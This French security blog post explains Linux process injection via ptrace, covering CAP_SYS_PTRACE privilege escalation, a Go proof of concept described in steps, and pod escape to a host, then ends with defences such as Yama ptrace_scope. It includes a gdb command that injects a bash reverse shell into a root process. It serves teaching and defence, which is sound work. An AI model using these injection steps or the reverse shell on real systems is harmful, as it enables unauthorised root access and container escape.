Heeeello, aujourd’hui nous allons parler de l’injection de processus Linux via le syscall ptrace et on retrouve le sujet dans le MITRE ATT&CK® (T1055.008). Les attaquants en sont très friants car il est possible d’élever ses privilèges ou encore modifier le flux d’exécution d’un processus ciblé.
C’est une technique d’injection parmi tant d’autres mais qui nous permettra d’aborder des sujets comme les capabilities et d’en identifier les impacts dans un environnement cloud-native. Il existe déjà plein d’exemples en C mais je souhaitais réimplémenter moi même pour bien en comprendre le fonctionnement.
ptrace
ptrace est un appel système (syscall) qui permet à un processus d’observer ou de contrôler l’exécution d’un autre processus. En clair, ça permet de faire du debogage, un binaire que vous connaissez sans doute qui réalise des syscalls ptrace est GDB. Cet outil permet de s’attacher à un processus et modifier son exécution pour pointer vers notre instruction.
Un utilisateur peut lancer le syscall ptrace sur n’importe quel processus lui appartenant. En réalité, ça veut dire que si l’on souhaite ptrace les processus de l’utilisateur root, il faudra être root sinon le terminal renverra le message suivant : « ptrace: Operation not permitted »
Mais est-ce que c’est toujours vrai ? Et bien dans Linux, il existe des capabilities qui sont des droits de l’utilisateur root divisés en unités et permettent d’attribuer des privilèges spécifiques à un processus ou un fichier (https://man7.org/linux/man-pages/man7/capabilities.7.html). Par exemple, le binaire « setcap » permet de configurer les capabilities sur un fichier, au hasard un binaire.
root$ setcap 'cap_sys_ptrace=ep' /usr/libexec/gdb
La CAP_SYS_PTRACE permet de tracer des processus arbitraires en tant qu’utilisateur non privilégié donc il est possible de déboguer des processus exécutés par l’utilisateur root. Si on déniche un binaire comme GDB dans le système de fichiers sur lequel est appliqué cette capability, on pourrait l’utiliser pour réaliser une escalade de privilèges en modifiant le comportement du processus. Par exemple, un utilisateur non privilégié peut contrôler la mémoire du processus dont le pid est 622171 pour pointer vers une instruction contenant un reverse shell.
root 622171 0.0 0.0 1225460 1804 pts/5 Sl+ 08:53 0:00 ./victime
root$ getcap -r /usr/libexec/gdb
root$ /usr/libexec/gdb cap_sys_ptrace=ep
$ gdb -p 622171
call (void)system("bash -c 'bash -i >& /dev/tcp/127.0.0.1/4444 0>&1'")

Lorsque j’ai un binaire comme GDB sous la main c’est facile mais qu’en est-il lorsqu’on se trouve dans un environnement où l’administrateur a nettoyé le système en supprimant tous les binaires de débogage. Voyons voir ce qui se passe sous le capôt… Pour réaliser une injection de processus il faut réaliser les étapes suivantes en utilisant différentes opérations supportées par ptrace :
- S’attacher au processus avec PTRACE_ATTACH
- Lire l’état des registres du processus avec PTRACE_GETREGS et récupérer l’adresse de RIP
- Surcharger l’instruction dans l’adresse de RIP avec notre shellcode qui servira de nouvelle instruction en utilisant PTRACE_POKEDATA
- Se détacher du processus avec PTRACE_DETACH
Étape 1
On s’attache au processus avec l’opération PTRACE_ATTACH qui envoie un signal SIGSTOP et susprendre l’exécution du processus. Il est important d’utiliser le syscall waitpid() pour attendre que le processus auquel on s’attache se mette en pause car on pourrait lire ses registres alors qu’il est toujours en exécution. En Go, l’opération waitpid() n’est pas supportée seulement wait4() l’est. Néanmoins, dans la documentation Linux, l’opération wait4(pid, wstatus, options, rusage) est équivalent à waitpid(pid, wstatus, options) donc je suis heureux.
Étape 2
La lecture des registres du processus tracé permet de copier les différents registres dans une structure de type PtraceRegs en utilisant l’opération PTRACE_GETREGS.
La structure contient la liste des registres notamment, RIP (Instruction Pointer) et RBP (Base Pointer). RIP pointe sur l’adresse de l’instruction suivante à exécuter et RBP pointe sur l’adresse de début de la pile. Pour ceux qui ont l’habitude travailler avec les registres, cette structure ne diffère pas de celle qu’on retrouve en C.
https://man7.org/linux/man-pages/man2/ptrace.2.html
Étape 3
Maintenant que nous avons les adresses des registres et mis en pause le processus tracé, il est maintenant possible de modifier le flux d’exécution du processus. Il faut savoir que PTRACE_POKEDATA ne peut écrire que 8 octets à la fois dans la mémoire donc il faut envoyer les données par bloc de 8 octets.
Je vais utiliser un shellcode que je considère comme un tableau et je crée une boucle qui va envoyer des blocs de 8 octets pour surcharger les instructions à l’adresse de RIP jusqu’à ce que la taille du shellcode soit atteinte. Par exemple, si on a un shellcode de 24 octets, il faudra 3 itérations pour surcharger la mémoire.

Comme je remplis 8 octets dans la mémoire du processus, il ne faut pas oublier d’incrémenter de 8 l’adresse de base de RIP sur chaque itération.
Ça fonctionne bien quand la taille du shellcode est un multiple de 8 mais quand ça ne l’est pas, il reste encore des octets à envoyer pour que le shellcode soit complet en mémoire. Pour trouver le nombre restant d’octets à envoyer, j’utilise l’opération modulo pour calculer le reste de la division (taille du shellcode / 8).
Étape 4
Il ne reste plus qu’à se détacher du processus tracé avec l’opération PTRACE_DETACH pour que celui-ci reprenne son exécution.
Que peut-on faire d’autre avec ptrace ?
On peut également lire la mémoire d’un processus avec PTRACE_PEEKDATA. Sur certains systèmes d’exploitation notamment Fedora, il est possible de lire la mémoire en une fois et non par bloc de 8 octets, ce qui permet d’éviter les boucles. Néanmoins, si la lecture en une fois ne fonctionne pas, il faut employer la même méthode que PTRACE_POKEDATA tout en définissant un nombre d’octets à lire.
La lecture de la mémoire d’un processus est intéressante quand nous sommes notamment à la recherche de secrets, au hasard, une clé de chiffrement, une chaine de caractères, etc.
En quoi cette technique impacte les environnements cloud native ?
Un pod ayant cette configuration est en capacité d’inspecter les processus de l’hôte. L’option hostPID permet de partager le même pidns que l’hôte et un escape de pod est possible car la CAP_SYS_PTRACE permet d’inspecter et contrôler la mémoire des processus exécutés par l’hôte.
Tests dans un conteneur
Pour réaliser cette démo, j’utilise Minikube avec le driver kvm2 et je lance un processus victime sur l’hôte. On se placera dans le pod avec la configuration vulnérable pour injecter notre shellcode dans la mémoire du processus victime.
Après l’injection, nous utilisons notre vieil ami Netcat pour accéder à l’hôte avec les privilèges root. C’est pourquoi il est préférable d’éviter de donner ce genre de configuration aux pods.

Limites
Dans mon cas, l’exploitation n’est pas aussi propre qu’en utilisant GDB car je ne restaure pas les instructions qui ont été écrasées par le shellcode. Il faut donc partir du principe que l’attaque peut provoquer un crash du processus et donc la disponibilité des services offerts par le système. C’est un proof of concept donc n’essayez pas en prod…
Comment s’en protéger ?

La manpage de ptrace() documente les différentes erreurs qui se produisent lors de l’utilisation du syscall. Il est intéressant de se baser dessus pour développer des techniques anti-ptrace. Si possible, au démarrage du processus, celui-ci devrait se tracer lui même, un processus déjà tracé ne pourra plus être tracé par un autre. Cependant, le debug ne sera plus possible dans un environnement de production. Bien évidemment, il ne faut pas réaliser du débogage dans un tel environnement mais il y a des cas qui apparaissent uniquement en prod. Tous ces durcissements s’appliquent sur le code que l’on développe mais il est possible d’utiliser un LSM (Linux Security Module) qui se nomme Yama pour restreindre l’usage de ptrace au niveau du système Linux (https://www.kernel.org/doc/Documentation/security/Yama.txt). Pour se faire, il est nécessaire de modifier le paramètre « ptrace_scope » sur l’un des 4 niveaux dans /proc/sys/kernel/yama, par défaut, il est à 0 dans Fedora donc il n’y a aucune restriction. Idéalement, il faudrait coupler les techniques anti-debugging dans le code et l’usage d’un LSM sur le système pour de la défense en profondeur et ainsi limiter drastiquement ce type d’injection.
De plus, soyez vigilants sur les privilèges que vous attribuez aux binaires et recherchez ceux qui disposent de la CAP_SYS_PTRACE car ptrace() n’est pas le seul syscall à pouvoir lire et écrire dans la mémoire d’un processus. En effet, les syscalls process_vm_readv(2) et process_vm_writev(2) le peuvent aussi.
Conclusion
L’injection de processus est une attaque qui a un coût relativement « faible » et permet d’élever rapidement ses privilèges sur le système en particulier dans les environnements cloud native. En effet, un attaquant pourrait s’échapper vers l’hôte dans le cas où un conteneur aurait des privilèges qui permettent d’effectuer des opérations avec ptrace.
Les sources sont disponibles sur mon repo git : https://github.com/p0sql/labs/tree/main/LinuxInjection

Laisser un commentaire